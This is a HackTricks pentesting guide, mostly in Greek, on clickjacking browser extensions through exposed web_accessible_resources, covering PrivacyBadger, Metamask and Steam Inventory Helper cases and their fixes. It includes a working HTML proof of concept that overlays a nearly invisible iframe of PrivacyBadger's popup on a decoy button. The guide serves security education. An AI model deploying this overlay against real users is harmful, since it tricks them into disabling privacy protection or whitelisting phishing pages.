hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

9.7 KiB
Raw Blame History

BrowExt - ClickJacking

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Αυτή η σελίδα θα εκμεταλλευτεί μια ευπάθεια ClickJacking σε μια επέκταση προγράμματος περιήγησης.
Αν δεν ξέρετε τι είναι το ClickJacking, ελέγξτε:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

Οι επεκτάσεις περιέχουν το αρχείο manifest.json και αυτό το αρχείο JSON έχει ένα πεδίο web_accessible_resources. Να τι λένε τα έγγραφα του Chrome γι' αυτό:

Αυτοί οι πόροι θα είναι διαθέσιμοι σε μια ιστοσελίδα μέσω του URL chrome-extension://[PACKAGE ID]/[PATH], το οποίο μπορεί να παραχθεί με τη μέθοδο extension.getURL. Οι πόροι που έχουν επιτραπεί παρέχονται με κατάλληλους CORS επικεφαλίδες, έτσι είναι διαθέσιμοι μέσω μηχανισμών όπως το XHR.1

Οι web_accessible_resources σε μια επέκταση προγράμματος περιήγησης δεν είναι απλώς προσβάσιμοι μέσω του ιστού; λειτουργούν επίσης με τα εγγενή προνόμια της επέκτασης. Αυτό σημαίνει ότι έχουν τη δυνατότητα να:

  • Αλλάξουν την κατάσταση της επέκτασης
  • Φορτώσουν επιπλέον πόρους
  • Αλληλεπιδρούν με τον περιηγητή σε κάποιο βαθμό

Ωστόσο, αυτή η δυνατότητα παρουσιάζει έναν κίνδυνο ασφάλειας. Αν ένας πόρος εντός των web_accessible_resources έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε δυνητικά να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Οι ανυποψίαστοι χρήστες που επισκέπτονται αυτή τη σελίδα μπορεί να ενεργοποιήσουν ακούσια αυτόν τον ενσωματωμένο πόρο. Μια τέτοια ενεργοποίηση θα μπορούσε να οδηγήσει σε απρόβλεπτες συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων της επέκτασης.

PrivacyBadger Example

Στην επέκταση PrivacyBadger, εντοπίστηκε μια ευπάθεια σχετική με τον φάκελο skin/ που δηλώθηκε ως web_accessible_resources με τον εξής τρόπο (Ελέγξτε την αρχική ανάρτηση στο blog):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Αυτή η ρύθμιση οδήγησε σε ένα πιθανό πρόβλημα ασφάλειας. Συγκεκριμένα, το αρχείο skin/popup.html, το οποίο αποδίδεται κατά την αλληλεπίδραση με το εικονίδιο PrivacyBadger στον περιηγητή, θα μπορούσε να ενσωματωθεί μέσα σε ένα iframe. Αυτή η ενσωμάτωση θα μπορούσε να εκμεταλλευτεί για να παραπλανήσει τους χρήστες να κάνουν ακούσια κλικ στο "Απενεργοποίηση PrivacyBadger για αυτόν τον ιστότοπο". Μια τέτοια ενέργεια θα έθετε σε κίνδυνο την ιδιωτικότητα του χρήστη απενεργοποιώντας την προστασία PrivacyBadger και ενδεχομένως υποβάλλοντας τον χρήστη σε αυξημένη παρακολούθηση. Μια οπτική επίδειξη αυτής της εκμετάλλευσης μπορεί να προβληθεί σε ένα παράδειγμα βίντεο ClickJacking που παρέχεται στο https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Για να αντιμετωπιστεί αυτή η ευπάθεια, εφαρμόστηκε μια απλή λύση: η αφαίρεση του /skin/* από τη λίστα των web_accessible_resources. Αυτή η αλλαγή μείωσε αποτελεσματικά τον κίνδυνο διασφαλίζοντας ότι το περιεχόμενο του καταλόγου skin/ δεν θα μπορούσε να προσπελαστεί ή να παραποιηθεί μέσω πόρων προσβάσιμων από το διαδίκτυο.

Η διόρθωση ήταν εύκολη: αφαιρέστε το /skin/* από τα web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

A blog post about a ClickJacking in metamask can be found here. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):

Ένα άλλο ClickJacking που διορθώθηκε στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να Κάνουν κλικ για να προσθέσουν στη λευκή λίστα όταν μια σελίδα ήταν ύποπτη για phishing λόγω του “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Καθώς αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κάνει κλικ για να την προσθέσει στη λευκή λίστα χωρίς να το παρατηρήσει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη λευκή λίστα.

Steam Inventory Helper Example

Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}